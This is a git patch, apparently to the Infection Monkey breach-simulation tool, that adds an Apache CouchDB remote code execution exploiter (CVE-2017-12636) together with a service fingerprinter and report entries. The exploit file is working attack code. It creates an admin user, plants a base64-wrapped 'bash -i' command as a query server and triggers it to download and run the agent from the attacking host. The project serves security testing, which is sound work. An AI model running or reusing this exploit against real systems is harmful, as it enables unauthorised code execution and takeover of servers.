From 94c2587fee1ac40fcc4f7ebd03ca8f9242638080 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 22 Jul 2021 18:21:04 +0200 Subject: [PATCH] Exploit: Add Apache CouchDB remote code execution exploit --- monkey/common/common_consts/network_consts.py | 1 + monkey/infection_monkey/build_linux.sh | 0 monkey/infection_monkey/exploit/couchdb.py | 203 ++++++++++++++++++ .../infection_monkey/network/couchdbfinger.py | 48 +++++ .../cc/services/config_schema/basic.py | 1 + .../definitions/exploiter_classes.py | 11 + .../exploiter_descriptor_enum.py | 1 + .../report-components/SecurityReport.js | 6 + .../security/issues/CDBIssue.js | 23 ++ vulture_allowlist.py | 3 + 10 files changed, 297 insertions(+) mode change 100644 => 100755 monkey/infection_monkey/build_linux.sh create mode 100644 monkey/infection_monkey/exploit/couchdb.py create mode 100644 monkey/infection_monkey/network/couchdbfinger.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CDBIssue.js diff --git a/monkey/common/common_consts/network_consts.py b/monkey/common/common_consts/network_consts.py index 8966c23d7..f2df14fe2 100644 --- a/monkey/common/common_consts/network_consts.py +++ b/monkey/common/common_consts/network_consts.py @@ -1 +1,2 @@ ES_SERVICE = "elastic-search-9200" +CDB_SERVICE = "apache-couchdb" diff --git a/monkey/infection_monkey/build_linux.sh b/monkey/infection_monkey/build_linux.sh old mode 100644 new mode 100755 diff --git a/monkey/infection_monkey/exploit/couchdb.py b/monkey/infection_monkey/exploit/couchdb.py new file mode 100644 index 000000000..e49e57acf --- /dev/null +++ b/monkey/infection_monkey/exploit/couchdb.py @@ -0,0 +1,203 @@ +""" +Remote code Execution on Apache CouchDB - CVE-2017-12636 +Implementation is based on: + https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py +""" +import base64 +import json +import logging +import string +from random import SystemRandom + +import requests +from requests.auth import HTTPBasicAuth + +from common.common_consts.network_consts import CDB_SERVICE +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.exploit.tools.helpers import get_monkey_depth +from infection_monkey.exploit.tools.http_tools import HTTPTools +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.model import HADOOP_LINUX_COMMAND, ID_STRING, MONKEY_ARG +from infection_monkey.network.couchdbfinger import CDB_PORT +from infection_monkey.utils.commands import build_monkey_commandline + +LOG = logging.getLogger(__name__) + + +class CouchDBExploiter(WebRCE): + _TARGET_OS_TYPE = ["linux"] + _EXPLOITED_SERVICE = "Apache CouchDB" + # How long we have our http server open for downloads in seconds + DOWNLOAD_TIMEOUT = 60 + # Random string's length that's used for creating unique app name + RAN_STR_LEN = 6 + + def __init__(self, host): + super(CouchDBExploiter, self).__init__(host) + + def get_exploit_config(self): + + exploit_config = super(CouchDBExploiter, self).get_exploit_config() + + exploit_config["dropper"] = True + return exploit_config + + def get_open_service_ports(self, port_list, names): + # We must append couchdb port we get from couchdb fingerprint module because It's not + # marked as 'http' service + valid_ports = super(CouchDBExploiter, self).get_open_service_ports(port_list, names) + if CDB_SERVICE in self.host.services: + valid_ports.append([CDB_PORT, False]) + return valid_ports + + def _exploit_host(self): + # Try to get exploitable url + urls = self.build_potential_urls([[CDB_PORT, False]]) + self.add_vulnerable_urls(urls, True) + if not self.vulnerable_urls: + return False + paths = self.get_monkey_paths() + if not paths: + return False + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + command = self.build_command(paths["dest_path"], http_path) + LOG.info(self.vulnerable_urls[0]) + LOG.info(command) + if not self.exploit(self.vulnerable_urls[0], command): + return False + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + self.add_executed_cmd(command) + return True + + def exploit(self, url, command): + + vv = requests.get(url).json()["version"] + v = vv.replace(".", "") + version = int(v[0]) + + with requests.session() as session: + session.headers = {"Content-Type": "application/json"} + + try: + safe_random = SystemRandom() + rand_name = ID_STRING + "".join( + [safe_random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)] + ) + payload = self.build_payload(rand_name) + + session.put( + url + "/_users/org.couchdb.user:" + rand_name, + data=payload, + timeout=LONG_REQUEST_TIMEOUT, + ) + + LOG.info("[+] User " + rand_name + " successfully created.") + except requests.exceptions.HTTPError: + LOG.error("[-] Unable to create the user on remote host.") + + session.auth = HTTPBasicAuth(rand_name, rand_name) + + command = ( + "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" + % base64.b64encode(str.encode(command)).decode() + ) + + try: + if version == 1: + response = session.put( + url + "/_config/query_servers/cmd", data=json.dumps(command) + ) + LOG.info("[+] Created payload at: " + url + "/_config/query_servers/cmd") + else: + host_ses = session.get(url + "/_membership").json()["all_nodes"][0] + session.put( + url + "/_node/{}/_config/query_servers/cmd".format(host_ses), + data=json.dumps(command), + ) + LOG.info( + "[+] Created payload at: " + + url + + "/_node/" + + host_ses + + "/_config/query_servers/cmd" + ) + LOG.info("[+] Command executed: " + command) + except requests.exceptions.HTTPError as e: + LOG.error("[-] Unable to create command payload: " + str(e)) + + try: + session.put(url + "/" + rand_name) + session.put( + url + "/{}/test".format(rand_name), data='{"_id": "' + rand_name + 'test"}' + ) + except requests.exceptions.HTTPError: + LOG.error("[-] Unable to create database.") + + # Execute payload + try: + if version == 1: + session.post( + url + "/{}/_temp_view?limit=10".format(rand_name), + data='{"language":"cmd","map":""}', + ) + else: + session.put( + url + "/{}/_design/test".format(rand_name), + data='{"_id":"_design/test","views":' + '{"' + rand_name + '":{"map":""} },' + '"language":"cmd"}', + ) + LOG.info("[+] Command executed: " + command) + except requests.exceptions.HTTPError: + LOG.error("[-] Unable to execute payload.") + return False + + LOG.info("[*] Cleaning up.") + + # Cleanup database + try: + session.delete(url + "/" + rand_name) + except requests.exceptions.HTTPError: + LOG.error("[-] Unable to remove database.") + + # Cleanup payload + try: + if version == 1: + session.delete(url + "/_config/query_servers/cmd") + else: + host_ses = session.get(url + "/_membership").json()["all_nodes"][0] + session.delete(url + "/_node" + host_ses + "/_config/query_servers/cmd") + LOG.info("[+] Cleanup finished") + return True + except requests.exceptions.HTTPError: + LOG.error("[-] Unable to remove payload.") + + return response.status_code == 200 + + def build_command(self, path, http_path): + # Build command to execute + monkey_cmd = build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=CDB_PORT + ) + + base_command = HADOOP_LINUX_COMMAND + + return base_command % { + "monkey_path": path, + "http_path": http_path, + "monkey_type": MONKEY_ARG, + "parameters": monkey_cmd, + } + + @staticmethod + def build_payload(name): + payload = """{"type": "user", + "name": %s, + "roles": ["_admin"], + "roles": [], + "password": %s}""" % ( + name, + name, + ) + return str.encode(payload) diff --git a/monkey/infection_monkey/network/couchdbfinger.py b/monkey/infection_monkey/network/couchdbfinger.py new file mode 100644 index 000000000..83d816639 --- /dev/null +++ b/monkey/infection_monkey/network/couchdbfinger.py @@ -0,0 +1,48 @@ +import json +import logging +from contextlib import closing + +import requests +from requests.exceptions import ConnectionError, Timeout + +import infection_monkey.config +from common.common_consts.network_consts import CDB_SERVICE +from infection_monkey.network.HostFinger import HostFinger + +CDB_PORT = 5984 +CDB_HTTP_TIMEOUT = 5 +LOG = logging.getLogger(__name__) + + +class CouchDBFinger(HostFinger): + """ + Fingerprints couchdb search, only on port 5984 + """ + + _SCANNED_SERVICE = "CouchDB" + + def __init__(self): + self._config = infection_monkey.config.WormConfiguration + + def get_host_fingerprint(self, host): + """ + Returns couchdb metadata + :param host: + :return: Success/failure, data is saved in the host struct + """ + try: + url = "http://%s:%s/" % (host.ip_addr, CDB_PORT) + with closing(requests.get(url, timeout=CDB_HTTP_TIMEOUT)) as req: + data = json.loads(req.text) + self.init_service(host.services, CDB_SERVICE, CDB_PORT) + host.services[CDB_SERVICE]["cluster_name"] = data["cluster_name"] + host.services[CDB_SERVICE]["name"] = data["name"] + host.services[CDB_SERVICE]["version"] = data["version"]["number"] + return True + except Timeout: + LOG.debug("Got timeout while trying to read header information") + except ConnectionError: # Someone doesn't like us + LOG.debug("Unknown connection error") + except KeyError: + LOG.debug("Failed parsing the Apache CouchDB JSOn response") + return False diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index aba80e08a..7544d5f89 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -17,6 +17,7 @@ BASIC = { "SmbExploiter", "WmiExploiter", "SSHExploiter", + "CouchDBExploiter", "ShellShockExploiter", "SambaCryExploiter", "ElasticGroovyExploiter", diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index c450f8d2a..778e2300f 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -42,6 +42,17 @@ EXPLOITER_CLASSES = { "link": "https://www.guardicore.com/infectionmonkey/docs/reference" "/exploiters/mssql/", }, + { + "type": "string", + "enum": ["CouchDBExploiter"], + "title": "CouchDB Exploiter", + "safe": True, + "info": "Vulnerability in CouchDB caused by a discrepancy between the database’s " + "native JSON parser and the Javascript JSON parser used during document" + " validation", + "link": "https://www.guardicore.com/infectionmonkey/docs/reference" + "/exploiters/mssql/", + }, { "type": "string", "enum": ["Ms08_067_Exploiter"], diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 03e5ce8b1..cc91ad262 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -33,6 +33,7 @@ class ExploiterDescriptorEnum(Enum): "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor ) MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor) + CDB = ExploiterDescriptor("CouchDBExploiter", "CDB Exploiter", ExploitProcessor) SHELLSHOCK = ExploiterDescriptor( "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index c9fdd2c52..2a84bc3e9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -29,6 +29,7 @@ import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIs import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue'; import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; +import {cdbIssueOverview, cdbIssueReport} from './security/issues/CDBIssue'; import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { @@ -136,6 +137,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: elasticIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'CouchDBExploiter': { + [this.issueContentTypes.OVERVIEW]: cdbIssueOverview, + [this.issueContentTypes.REPORT]: cdbIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'ShellShockExploiter': { [this.issueContentTypes.OVERVIEW]: shellShockIssueOverview, [this.issueContentTypes.REPORT]: shellShockIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CDBIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CDBIssue.js new file mode 100644 index 000000000..454a54534 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/CDBIssue.js @@ -0,0 +1,23 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function cdbIssueOverview() { + return (
  • Apache CouchDB servers are vulnerable to remote code execution.
  • ) +} + +export function cdbIssueReport(issue) { + return ( + <> + Update CouchDB ( + update). + + The CouchDB server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. +
    + The attack was made possible due to old version of Apache CouchDB. +
    + + ); +} diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 5a430dc6c..d37ccdfb8 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -58,6 +58,7 @@ SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_process SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) MS08_067 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:35) +CDB # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) SHELLSHOCK # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:36) STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) @@ -85,7 +86,9 @@ _.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61) _.do_GET # unused method (monkey/infection_monkey/transport/http.py:38) _.do_POST # unused method (monkey/infection_monkey/transport/http.py:34) _.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237) +auth # unused method (monkey/infection_monkey/exploit/couchdb.py:98) ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18) +CouchDBFinger # unused class (monkey/infection_monkey/network/couchdbfinger.py:18) HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9) MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13) SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)